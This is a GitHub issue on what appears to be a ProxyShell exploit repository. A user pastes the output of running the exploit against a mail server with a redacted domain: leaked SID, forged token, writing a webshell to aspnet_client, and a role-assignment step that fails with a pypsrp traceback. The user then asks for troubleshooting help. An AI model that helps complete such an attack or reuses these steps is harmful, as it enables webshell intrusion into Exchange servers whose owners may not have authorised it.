Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

error on step : write webshell at aspnet_client/file.aspx #13

Open
striker89 opened this issue Oct 31, 2021 · 0 comments
Open

error on step : write webshell at aspnet_client/file.aspx #13

striker89 opened this issue Oct 31, 2021 · 0 comments

Comments

@striker89
Copy link

striker89 commented Oct 31, 2021

Hello;
I would like to thank you first guys for sharing. you are doing an amazing job.
I am getting the below errors during the script execution:

``python3 proxyshell.py -t mail.xxx.com
fqdn sydexmb05.xxx.local

  • [email protected]
    legacyDN /o=xxxEXCH/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=06a9e72fb0e645b6bb1c3a0f267e6b82-A BASSOP
    leak_sid S-1-5-21-1025108317-2912364014-3645357861-4443
    token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBJBLkJBU1NPUEBjYW10ZWwuY21VLlMtMS01LTIxLTEwMjUxMDgzMTctMjkxMjM2NDAxNC0zNjQ1MzU3ODYxLTQ0NDNHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA=
    set_ews Success with subject edosluwomhgoovgt
    write webshell at aspnet_client/aztyv.aspx
    Traceback (most recent call last):
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 427, in
    main()
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 395, in main
    shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', local_port)
    File "/home/kali/Downloads/proxyshell/proxyshell.py", line 336, in shell
    output = ps.invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1102, in invoke
    return self.end_invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1078, in end_invoke
    self.poll_invoke()
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1252, in poll_invoke
    responses = self.runspace_pool._receive(self.id,
    File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 640, in _receive
    response = self.shell.receive("stdout", command_id=command_id,
    File "/usr/lib/python3/dist-packages/pypsrp/shell.py", line 238, in receive
    response = self.wsman.receive(self.resource_uri, receive,
    File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 311, in receive
    res = self.invoke(WSManAction.RECEIVE, resource_uri, resource,
    File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 400, in invoke
    response_xml = ET.fromstring(response)
    File "/usr/lib/python3.9/xml/etree/ElementTree.py", line 1348, in XML
    return parser.close()
    xml.etree.ElementTree.ParseError: no element found: line 1, column 0

    I am a complete nmap noob - please can you help?
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant